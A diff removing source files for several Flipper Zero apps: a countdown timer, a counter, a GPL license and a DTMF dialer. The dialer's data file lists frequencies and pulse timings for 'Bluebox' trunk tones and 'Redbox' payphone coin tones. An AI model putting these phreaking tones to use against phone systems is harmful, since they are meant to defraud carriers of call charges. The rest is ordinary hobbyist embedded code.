canvas, SCREEN_CENTER_X, SCREEN_CENTER_Y, AlignCenter, AlignCenter, buffer);
elements_progress_bar(canvas, 0, 0, SCREEN_WIDTH, (1.0 * count / expected_count));
}
// keys input event callback, CountDownTimView as ctx
static bool countdown_timer_view_on_input(InputEvent* event, void* ctx) {
furi_assert(ctx);
CountDownTimView* hw = (CountDownTimView*)ctx;
if(event->type == InputTypeShort || event->type == InputTypeRepeat) {
switch(event->key) {
case InputKeyUp:
case InputKeyDown:
case InputKeyRight:
case InputKeyLeft:
handle_time_setting_select(event->key, hw);
break;
case InputKeyOk:
if(event->type == InputTypeShort) {
handle_misc_cmd(hw, CountDownTimerToggleCounting);
}
break;
case InputKeyBack:
return false;
break;
default:
break;
}
return true;
}
if(event->type == InputTypeLong) {
switch(event->key) {
case InputKeyOk:
handle_misc_cmd(hw, CountDownTimerReset);
break;
case InputKeyBack:
return false;
break;
default:
break;
}
return true;
}
return false;
}
static void timer_cb(void* ctx) {
furi_assert(ctx);
CountDownTimView* cdv = (CountDownTimView*)ctx;
int32_t count;
bool timeup = false;
// decrement counter
with_view_model(
cdv->view,
CountDownModel * model,
{
count = model->count;
count--;
// check timeup
if(count <= 0) {
count = 0;
timeup = true;
}
model->count = count;
},
true);
if(timeup) {
handle_misc_cmd(cdv, CountDownTimerTimeUp);
}
}
static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd) {
int32_t count;
with_view_model(
cdv->view,
CountDownModel * model,
{
count = model->count;
switch(cmd) {
case CountDownTimerMinuteUp:
count += 60;
break;
case CountDownTimerMinuteDown:
count -= 60;
break;
case CountDownTimerHourDown:
count -= 3600;
break;
case CountDownTimerHourUp:
count += 3600;
break;
case CountDownTimerSecUp:
count++;
break;
case CountDownTimerSecDown:
count--;
break;
default:
break;
}
if(count < 0) {
count = 0;
}
// update count state
model->count = count;
// save the count time setting
model->saved_count_setting = count;
},
true);
}
static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd) {
switch(cmd) {
case CountDownTimerTimeUp:
notification_timeup();
break;
case CountDownTimerReset:
furi_timer_stop(hw->timer);
countdown_timer_view_state_reset(hw);
notification_off();
break;
case CountDownTimerToggleCounting:
countdown_timer_state_toggle(hw);
break;
default:
break;
}
return;
}
static void handle_time_setting_select(InputKey key, CountDownTimView* cdv) {
bool counting = cdv->counting;
CountDownViewCmd setting_cmd = CountDownTimerSecUp;
CountDownViewSelect selection;
if(counting) {
return;
}
// load current selection from model context
with_view_model(
cdv->view, CountDownModel * model, { selection = model->select; }, false);
// select
switch(key) {
case InputKeyUp:
switch(selection) {
case CountDownTimerSelectSec:
setting_cmd = CountDownTimerSecUp;
break;
case CountDownTimerSelectMinute:
setting_cmd = CountDownTimerMinuteUp;
break;
case CountDownTimerSelectHour:
setting_cmd = CountDownTimerHourUp;
break;
}
handle_time_setting_updown(cdv, setting_cmd);
break;
case InputKeyDown:
switch(selection) {
case CountDownTimerSelectSec:
setting_cmd = CountDownTimerSecDown;
break;
case CountDownTimerSelectMinute:
setting_cmd = CountDownTimerMinuteDown;
break;
case CountDownTimerSelectHour:
setting_cmd = CountDownTimerHourDown;
break;
}
handle_time_setting_updown(cdv, setting_cmd);
break;
case InputKeyRight:
selection--;
selection = selection % 3;
break;
case InputKeyLeft:
selection++;
selection = selection % 3;
break;
default:
break;
}
// save selection to model context
with_view_model(
cdv->view, CountDownModel * model, { model->select = selection; }, false);
}
static void draw_selection(Canvas* canvas, CountDownViewSelect selection) {
switch(selection) {
case CountDownTimerSelectSec:
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X + 25, SCREEN_CENTER_Y + 11, 24, 2);
break;
case CountDownTimerSelectMinute:
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 10, SCREEN_CENTER_Y + 11, 21, 2);
break;
case CountDownTimerSelectHour:
elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 47, SCREEN_CENTER_Y + 11, 24, 2);
break;
}
}
static void countdown_timer_start_counting(CountDownTimView* cdv) {
furi_timer_start(cdv->timer, furi_kernel_get_tick_frequency() * 1); // 1s
}
static void countdown_timer_pause_counting(CountDownTimView* cdv) {
furi_timer_stop(cdv->timer);
notification_off();
}

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@@ -1,59 +0,0 @@
#ifndef __COUNTDOWN_VIEW_H__
#define __COUNTDOWN_VIEW_H__
#include <furi.h>
#include <furi_hal.h>
#include <gui/view.h>
#include <gui/elements.h>
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define SCREEN_CENTER_X (SCREEN_WIDTH / 2)
#define SCREEN_CENTER_Y (SCREEN_HEIGHT / 2)
#define INIT_COUNT 10
typedef enum {
CountDownTimerMinuteUp,
CountDownTimerMinuteDown,
CountDownTimerSecDown,
CountDownTimerSecUp,
CountDownTimerHourUp,
CountDownTimerHourDown,
CountDownTimerReset,
CountDownTimerTimeUp,
CountDownTimerToggleCounting,
} CountDownViewCmd;
typedef enum {
CountDownTimerSelectSec,
CountDownTimerSelectMinute,
CountDownTimerSelectHour,
} CountDownViewSelect;
typedef struct {
int32_t count;
int32_t saved_count_setting;
CountDownViewSelect select; // setting
} CountDownModel;
typedef struct {
View* view;
FuriTimer* timer; // 1Hz tick timer
bool counting;
} CountDownTimView;
// functions
// allocate helloworld view
CountDownTimView* countdown_timer_view_new();
// delete helloworld view
void countdown_timer_view_delete(CountDownTimView* cdv);
// return view
View* countdown_timer_view_get_view(CountDownTimView* cdv);
void countdown_timer_view_state_reset(CountDownTimView* cdv); // set initial state
void countdown_timer_state_toggle(CountDownTimView* cdv);
#endif // __COUNTDOWN_VIEW_H__

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App(
appid="counter",
name="Counter",
apptype=FlipperAppType.EXTERNAL,
entry_point="counterapp",
requires=[
"gui",
],
fap_category="Tools",
fap_icon="icons/counter_icon.png",
fap_icon_assets="icons",
fap_author="@Krulknul",
fap_weburl="https://github.com/Krulknul/dolphin-counter",
fap_version="1.1",
fap_description="Simple counter",
)

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@@ -1,109 +0,0 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include "counter_icons.h"
#include <assets_icons.h>
#define MAX_COUNT 99
#define BOXTIME 2
#define BOXWIDTH 30
#define MIDDLE_X 64 - BOXWIDTH / 2
#define MIDDLE_Y 32 - BOXWIDTH / 2
#define OFFSET_Y 9
typedef struct {
FuriMessageQueue* input_queue;
ViewPort* view_port;
Gui* gui;
FuriMutex** mutex;
int count;
bool pressed;
int boxtimer;
} Counter;
void state_free(Counter* c) {
gui_remove_view_port(c->gui, c->view_port);
furi_record_close(RECORD_GUI);
view_port_free(c->view_port);
furi_message_queue_free(c->input_queue);
furi_mutex_free(c->mutex);
free(c);
}
static void input_callback(InputEvent* input_event, void* ctx) {
Counter* c = ctx;
if(input_event->type == InputTypeShort) {
furi_message_queue_put(c->input_queue, input_event, 0);
}
}
static void render_callback(Canvas* canvas, void* ctx) {
Counter* c = ctx;
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
canvas_clear(canvas);
canvas_set_color(canvas, ColorBlack);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignCenter, "Counter :)");
canvas_set_font(canvas, FontBigNumbers);
char scount[5];
if(c->pressed == true || c->boxtimer > 0) {
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
canvas_draw_rframe(
canvas, MIDDLE_X - 1, MIDDLE_Y + OFFSET_Y - 1, BOXWIDTH + 2, BOXWIDTH + 2, 5);
canvas_draw_rframe(
canvas, MIDDLE_X - 2, MIDDLE_Y + OFFSET_Y - 2, BOXWIDTH + 4, BOXWIDTH + 4, 5);
c->pressed = false;
c->boxtimer--;
} else {
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
}
snprintf(scount, sizeof(scount), "%d", c->count);
canvas_draw_str_aligned(canvas, 64, 32 + OFFSET_Y, AlignCenter, AlignCenter, scount);
furi_mutex_release(c->mutex);
}
Counter* state_init() {
Counter* c = malloc(sizeof(Counter));
c->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
c->view_port = view_port_alloc();
c->gui = furi_record_open(RECORD_GUI);
c->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
c->count = 0;
c->boxtimer = 0;
view_port_input_callback_set(c->view_port, input_callback, c);
view_port_draw_callback_set(c->view_port, render_callback, c);
gui_add_view_port(c->gui, c->view_port, GuiLayerFullscreen);
return c;
}
int32_t counterapp(void) {
Counter* c = state_init();
while(1) {
InputEvent input;
while(furi_message_queue_get(c->input_queue, &input, FuriWaitForever) == FuriStatusOk) {
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
if(input.key == InputKeyBack) {
furi_mutex_release(c->mutex);
state_free(c);
return 0;
} else if((input.key == InputKeyUp || input.key == InputKeyOk) && c->count < MAX_COUNT) {
c->pressed = true;
c->boxtimer = BOXTIME;
c->count++;
} else if(input.key == InputKeyDown && c->count != 0) {
c->pressed = true;
c->boxtimer = BOXTIME;
c->count--;
}
furi_mutex_release(c->mutex);
view_port_update(c->view_port);
}
}
state_free(c);
return 0;
}

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@@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
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TERMS AND CONDITIONS
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The Free Software Foundation may publish revised and/or new versions of
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THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
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If the disclaimer of warranty and limitation of liability provided
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END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

View File

@@ -1,17 +0,0 @@
App(
appid="dtmf_dolphin",
name="DTMF Dolphin",
apptype=FlipperAppType.EXTERNAL,
entry_point="dtmf_dolphin_app",
requires=[
"storage",
"gui",
"dialogs",
],
fap_icon="phone.png",
stack_size=8 * 1024,
fap_category="Tools",
fap_author="@litui & @xMasterX",
fap_version="1.1",
fap_description="DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox.",
)

View File

@@ -1,89 +0,0 @@
#include "dtmf_dolphin_i.h"
#include <furi.h>
#include <furi_hal.h>
static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) {
furi_assert(context);
DTMFDolphinApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
static bool dtmf_dolphin_app_back_event_callback(void* context) {
furi_assert(context);
DTMFDolphinApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static void dtmf_dolphin_app_tick_event_callback(void* context) {
furi_assert(context);
DTMFDolphinApp* app = context;
scene_manager_handle_tick_event(app->scene_manager);
}
static DTMFDolphinApp* app_alloc() {
DTMFDolphinApp* app = malloc(sizeof(DTMFDolphinApp));
app->gui = furi_record_open(RECORD_GUI);
app->view_dispatcher = view_dispatcher_alloc();
app->scene_manager = scene_manager_alloc(&dtmf_dolphin_scene_handlers, app);
view_dispatcher_enable_queue(app->view_dispatcher);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, dtmf_dolphin_app_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, dtmf_dolphin_app_back_event_callback);
view_dispatcher_set_tick_event_callback(
app->view_dispatcher, dtmf_dolphin_app_tick_event_callback, 100);
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
app->main_menu_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
DTMFDolphinViewMainMenu,
variable_item_list_get_view(app->main_menu_list));
app->dtmf_dolphin_dialer = dtmf_dolphin_dialer_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
DTMFDolphinViewDialer,
dtmf_dolphin_dialer_get_view(app->dtmf_dolphin_dialer));
app->notification = furi_record_open(RECORD_NOTIFICATION);
notification_message(app->notification, &sequence_display_backlight_enforce_on);
scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneStart);
return app;
}
static void app_free(DTMFDolphinApp* app) {
furi_assert(app);
view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewDialer);
variable_item_list_free(app->main_menu_list);
dtmf_dolphin_dialer_free(app->dtmf_dolphin_dialer);
view_dispatcher_free(app->view_dispatcher);
scene_manager_free(app->scene_manager);
notification_message(app->notification, &sequence_display_backlight_enforce_auto);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
free(app);
}
int32_t dtmf_dolphin_app(void* p) {
UNUSED(p);
DTMFDolphinApp* app = app_alloc();
view_dispatcher_run(app->view_dispatcher);
app_free(app);
return 0;
}

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@@ -1,270 +0,0 @@
#include "dtmf_dolphin_audio.h"
DTMFDolphinAudio* current_player;
static void dtmf_dolphin_audio_dma_isr(void* ctx) {
FuriMessageQueue* event_queue = ctx;
if(LL_DMA_IsActiveFlag_HT1(DMA1)) {
LL_DMA_ClearFlag_HT1(DMA1);
DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAHalfTransfer};
furi_message_queue_put(event_queue, &event, 0);
}
if(LL_DMA_IsActiveFlag_TC1(DMA1)) {
LL_DMA_ClearFlag_TC1(DMA1);
DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAFullTransfer};
furi_message_queue_put(event_queue, &event, 0);
}
}
void dtmf_dolphin_audio_clear_samples(DTMFDolphinAudio* player) {
for(size_t i = 0; i < player->buffer_length; i++) {
player->sample_buffer[i] = 0;
}
}
DTMFDolphinOsc* dtmf_dolphin_osc_alloc() {
DTMFDolphinOsc* osc = malloc(sizeof(DTMFDolphinOsc));
osc->cached_freq = 0;
osc->offset = 0;
osc->period = 0;
osc->lookup_table = NULL;
return osc;
}
DTMFDolphinPulseFilter* dtmf_dolphin_pulse_filter_alloc() {
DTMFDolphinPulseFilter* pf = malloc(sizeof(DTMFDolphinPulseFilter));
pf->duration = 0;
pf->period = 0;
pf->offset = 0;
pf->lookup_table = NULL;
return pf;
}
DTMFDolphinAudio* dtmf_dolphin_audio_alloc() {
DTMFDolphinAudio* player = malloc(sizeof(DTMFDolphinAudio));
player->buffer_length = SAMPLE_BUFFER_LENGTH;
player->half_buffer_length = SAMPLE_BUFFER_LENGTH / 2;
player->sample_buffer = malloc(sizeof(uint16_t) * player->buffer_length);
player->osc1 = dtmf_dolphin_osc_alloc();
player->osc2 = dtmf_dolphin_osc_alloc();
player->volume = 1.0f;
player->queue = furi_message_queue_alloc(10, sizeof(DTMFDolphinCustomEvent));
player->filter = dtmf_dolphin_pulse_filter_alloc();
player->playing = false;
dtmf_dolphin_audio_clear_samples(player);
return player;
}
size_t calc_waveform_period(float freq) {
if(!freq) {
return 0;
}
// DMA Rate calculation, thanks to Dr_Zlo
float dma_rate = CPU_CLOCK_FREQ / 2 / DTMF_DOLPHIN_HAL_DMA_PRESCALER /
(DTMF_DOLPHIN_HAL_DMA_AUTORELOAD + 1);
// Using a constant scaling modifier, which likely represents
// the combined system overhead and isr latency.
return (uint16_t)dma_rate * 2 / freq * 0.801923;
}
void osc_generate_lookup_table(DTMFDolphinOsc* osc, float freq) {
if(osc->lookup_table != NULL) {
free(osc->lookup_table);
}
osc->offset = 0;
osc->cached_freq = freq;
osc->period = calc_waveform_period(freq);
if(!osc->period) {
osc->lookup_table = NULL;
return;
}
osc->lookup_table = malloc(sizeof(float) * osc->period);
for(size_t i = 0; i < osc->period; i++) {
osc->lookup_table[i] = sin(i * PERIOD_2_PI / osc->period) + 1;
}
}
void filter_generate_lookup_table(
DTMFDolphinPulseFilter* pf,
uint16_t pulses,
uint16_t pulse_ms,
uint16_t gap_ms) {
if(pf->lookup_table != NULL) {
free(pf->lookup_table);
}
pf->offset = 0;
uint16_t gap_period = calc_waveform_period(1000 / (float)gap_ms);
uint16_t pulse_period = calc_waveform_period(1000 / (float)pulse_ms);
pf->period = pulse_period + gap_period;
if(!pf->period) {
pf->lookup_table = NULL;
return;
}
pf->duration = pf->period * pulses;
pf->lookup_table = malloc(sizeof(bool) * pf->duration);
for(size_t i = 0; i < pf->duration; i++) {
pf->lookup_table[i] = i % pf->period < pulse_period;
}
}
float sample_frame(DTMFDolphinOsc* osc) {
float frame = 0.0;
if(osc->period) {
frame = osc->lookup_table[osc->offset];
osc->offset = (osc->offset + 1) % osc->period;
}
return frame;
}
bool sample_filter(DTMFDolphinPulseFilter* pf) {
bool frame = true;
if(pf->duration) {
if(pf->offset < pf->duration) {
frame = pf->lookup_table[pf->offset];
pf->offset = pf->offset + 1;
} else {
frame = false;
}
}
return frame;
}
void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc) {
if(osc->lookup_table != NULL) {
free(osc->lookup_table);
}
free(osc);
}
void dtmf_dolphin_filter_free(DTMFDolphinPulseFilter* pf) {
if(pf->lookup_table != NULL) {
free(pf->lookup_table);
}
free(pf);
}
void dtmf_dolphin_audio_free(DTMFDolphinAudio* player) {
furi_message_queue_free(player->queue);
dtmf_dolphin_osc_free(player->osc1);
dtmf_dolphin_osc_free(player->osc2);
dtmf_dolphin_filter_free(player->filter);
free(player->sample_buffer);
free(player);
current_player = NULL;
}
bool generate_waveform(DTMFDolphinAudio* player, uint16_t buffer_index) {
uint16_t* sample_buffer_start = &player->sample_buffer[buffer_index];
for(size_t i = 0; i < player->half_buffer_length; i++) {
float data = 0;
if(player->osc2->period) {
data = (sample_frame(player->osc1) / 2) + (sample_frame(player->osc2) / 2);
} else {
data = (sample_frame(player->osc1));
}
data *= sample_filter(player->filter) ? player->volume : 0.0;
data *= UINT8_MAX / 2; // scale -128..127
data += UINT8_MAX / 2; // to unsigned
if(data < 0) {
data = 0;
}
if(data > 255) {
data = 255;
}
sample_buffer_start[i] = data;
}
return true;
}
bool dtmf_dolphin_audio_play_tones(
float freq1,
float freq2,
uint16_t pulses,
uint16_t pulse_ms,
uint16_t gap_ms) {
if(current_player != NULL && current_player->playing) {
// Cannot start playing while still playing something else
return false;
}
current_player = dtmf_dolphin_audio_alloc();
osc_generate_lookup_table(current_player->osc1, freq1);
osc_generate_lookup_table(current_player->osc2, freq2);
filter_generate_lookup_table(current_player->filter, pulses, pulse_ms, gap_ms);
generate_waveform(current_player, 0);
generate_waveform(current_player, current_player->half_buffer_length);
dtmf_dolphin_dma_init((uint32_t)current_player->sample_buffer, current_player->buffer_length);
furi_hal_interrupt_set_isr(
FuriHalInterruptIdDma1Ch1, dtmf_dolphin_audio_dma_isr, current_player->queue);
if(furi_hal_speaker_acquire(1000)) {
dtmf_dolphin_speaker_init();
dtmf_dolphin_dma_start();
dtmf_dolphin_speaker_start();
current_player->playing = true;
return true;
} else {
current_player->playing = false;
return false;
}
}
bool dtmf_dolphin_audio_stop_tones() {
if(current_player != NULL && !current_player->playing) {
// Can't stop a player that isn't playing.
return false;
}
while(current_player->filter->offset > 0 &&
current_player->filter->offset < current_player->filter->duration) {
// run remaining ticks if needed to complete filter sequence
dtmf_dolphin_audio_handle_tick();
}
dtmf_dolphin_speaker_stop();
dtmf_dolphin_dma_stop();
furi_hal_speaker_release();
furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL);
dtmf_dolphin_audio_free(current_player);
return true;
}
bool dtmf_dolphin_audio_handle_tick() {
bool handled = false;
if(current_player) {
DTMFDolphinCustomEvent event;
if(furi_message_queue_get(current_player->queue, &event, 250) == FuriStatusOk) {
if(event.type == DTMFDolphinEventDMAHalfTransfer) {
generate_waveform(current_player, 0);
handled = true;
} else if(event.type == DTMFDolphinEventDMAFullTransfer) {
generate_waveform(current_player, current_player->half_buffer_length);
handled = true;
}
}
}
return handled;
}

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@@ -1,54 +0,0 @@
#pragma once
// #include "dtmf_dolphin_i.h"
#include "dtmf_dolphin_event.h"
#include "dtmf_dolphin_hal.h"
#define SAMPLE_BUFFER_LENGTH 8192
#define PERIOD_2_PI 6.2832
#define CPU_CLOCK_FREQ 64000000
typedef struct {
float cached_freq;
size_t period;
float* lookup_table;
uint16_t offset;
} DTMFDolphinOsc;
typedef struct {
float duration;
size_t period;
bool* lookup_table;
uint16_t offset;
} DTMFDolphinPulseFilter;
typedef struct {
size_t buffer_length;
size_t half_buffer_length;
uint8_t* buffer_buffer;
uint16_t* sample_buffer;
float volume;
FuriMessageQueue* queue;
DTMFDolphinOsc* osc1;
DTMFDolphinOsc* osc2;
DTMFDolphinPulseFilter* filter;
bool playing;
} DTMFDolphinAudio;
DTMFDolphinOsc* dtmf_dolphin_osc_alloc();
DTMFDolphinAudio* dtmf_dolphin_audio_alloc();
void dtmf_dolphin_audio_free(DTMFDolphinAudio* player);
void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc);
bool dtmf_dolphin_audio_play_tones(
float freq1,
float freq2,
uint16_t pulses,
uint16_t pulse_ms,
uint16_t gap_ms);
bool dtmf_dolphin_audio_stop_tones();
bool dtmf_dolphin_audio_handle_tick();

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@@ -1,220 +0,0 @@
#include "dtmf_dolphin_data.h"
typedef struct {
const uint8_t row;
const uint8_t col;
const uint8_t span;
} DTMFDolphinTonePos;
typedef struct {
const char* name;
const float frequency_1;
const float frequency_2;
const DTMFDolphinTonePos pos;
const uint16_t pulses; // for Redbox
const uint16_t pulse_ms; // for Redbox
const uint16_t gap_duration; // for Redbox
} DTMFDolphinTones;
typedef struct {
const char* name;
DTMFDolphinToneSection block;
uint8_t tone_count;
DTMFDolphinTones tones[DTMF_DOLPHIN_MAX_TONE_COUNT];
} DTMFDolphinSceneData;
DTMFDolphinSceneData DTMFDolphinSceneDataDialer = {
.name = "Dialer",
.block = DTMF_DOLPHIN_TONE_BLOCK_DIALER,
.tone_count = 16,
.tones = {
{"1", 697.0, 1209.0, {0, 0, 1}, 0, 0, 0},
{"2", 697.0, 1336.0, {0, 1, 1}, 0, 0, 0},
{"3", 697.0, 1477.0, {0, 2, 1}, 0, 0, 0},
{"A", 697.0, 1633.0, {0, 3, 1}, 0, 0, 0},
{"4", 770.0, 1209.0, {1, 0, 1}, 0, 0, 0},
{"5", 770.0, 1336.0, {1, 1, 1}, 0, 0, 0},
{"6", 770.0, 1477.0, {1, 2, 1}, 0, 0, 0},
{"B", 770.0, 1633.0, {1, 3, 1}, 0, 0, 0},
{"7", 852.0, 1209.0, {2, 0, 1}, 0, 0, 0},
{"8", 852.0, 1336.0, {2, 1, 1}, 0, 0, 0},
{"9", 852.0, 1477.0, {2, 2, 1}, 0, 0, 0},
{"C", 852.0, 1633.0, {2, 3, 1}, 0, 0, 0},
{"*", 941.0, 1209.0, {3, 0, 1}, 0, 0, 0},
{"0", 941.0, 1336.0, {3, 1, 1}, 0, 0, 0},
{"#", 941.0, 1477.0, {3, 2, 1}, 0, 0, 0},
{"D", 941.0, 1633.0, {3, 3, 1}, 0, 0, 0},
}};
DTMFDolphinSceneData DTMFDolphinSceneDataBluebox = {
.name = "Bluebox",
.block = DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX,
.tone_count = 13,
.tones = {
{"1", 700.0, 900.0, {0, 0, 1}, 0, 0, 0},
{"2", 700.0, 1100.0, {0, 1, 1}, 0, 0, 0},
{"3", 900.0, 1100.0, {0, 2, 1}, 0, 0, 0},
{"4", 700.0, 1300.0, {1, 0, 1}, 0, 0, 0},
{"5", 900.0, 1300.0, {1, 1, 1}, 0, 0, 0},
{"6", 1100.0, 1300.0, {1, 2, 1}, 0, 0, 0},
{"7", 700.0, 1500.0, {2, 0, 1}, 0, 0, 0},
{"8", 900.0, 1500.0, {2, 1, 1}, 0, 0, 0},
{"9", 1100.0, 1500.0, {2, 2, 1}, 0, 0, 0},
{"0", 1300.0, 1500.0, {3, 1, 1}, 0, 0, 0},
{"KP", 1100.0, 1700.0, {0, 3, 2}, 0, 0, 0},
{"ST", 1500.0, 1700.0, {1, 3, 2}, 0, 0, 0},
{"2600", 2600.0, 0.0, {3, 2, 3}, 0, 0, 0},
}};
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUS = {
.name = "Redbox (US)",
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US,
.tone_count = 4,
.tones = {
{"Nickel", 1700.0, 2200.0, {0, 0, 5}, 1, 66, 0},
{"Dime", 1700.0, 2200.0, {1, 0, 5}, 2, 66, 66},
{"Quarter", 1700.0, 2200.0, {2, 0, 5}, 5, 33, 33},
{"Dollar", 1700.0, 2200.0, {3, 0, 5}, 1, 650, 0},
}};
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxCA = {
.name = "Redbox (CA)",
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA,
.tone_count = 3,
.tones = {
{"Nickel", 2200.0, 0.0, {0, 0, 5}, 1, 66, 0},
{"Dime", 2200.0, 0.0, {1, 0, 5}, 2, 66, 66},
{"Quarter", 2200.0, 0.0, {2, 0, 5}, 5, 33, 33},
}};
DTMFDolphinSceneData DTMFDolphinSceneDataRedboxUK = {
.name = "Redbox (UK)",
.block = DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK,
.tone_count = 2,
.tones = {
{"10p", 1000.0, 0.0, {0, 0, 5}, 1, 200, 0},
{"50p", 1000.0, 0.0, {1, 0, 5}, 1, 350, 0},
}};
DTMFDolphinSceneData DTMFDolphinSceneDataMisc = {
.name = "Misc",
.block = DTMF_DOLPHIN_TONE_BLOCK_MISC,
.tone_count = 3,
.tones = {
{"CCITT 11", 700.0, 1700.0, {0, 0, 5}, 0, 0, 0},
{"CCITT 12", 900.0, 1700.0, {1, 0, 5}, 0, 0, 0},
{"CCITT KP2", 1300.0, 1700.0, {2, 0, 5}, 0, 0, 0},
}};
DTMFDolphinToneSection current_section;
DTMFDolphinSceneData* current_scene_data;
void dtmf_dolphin_data_set_current_section(DTMFDolphinToneSection section) {
current_section = section;
switch(current_section) {
case DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX:
current_scene_data = &DTMFDolphinSceneDataBluebox;
break;
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US:
current_scene_data = &DTMFDolphinSceneDataRedboxUS;
break;
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA:
current_scene_data = &DTMFDolphinSceneDataRedboxCA;
break;
case DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK:
current_scene_data = &DTMFDolphinSceneDataRedboxUK;
break;
case DTMF_DOLPHIN_TONE_BLOCK_MISC:
current_scene_data = &DTMFDolphinSceneDataMisc;
break;
default: // DTMF_DOLPHIN_TONE_BLOCK_DIALER:
current_scene_data = &DTMFDolphinSceneDataDialer;
break;
}
}
DTMFDolphinToneSection dtmf_dolphin_data_get_current_section() {
return current_section;
}
DTMFDolphinSceneData* dtmf_dolphin_data_get_current_scene_data() {
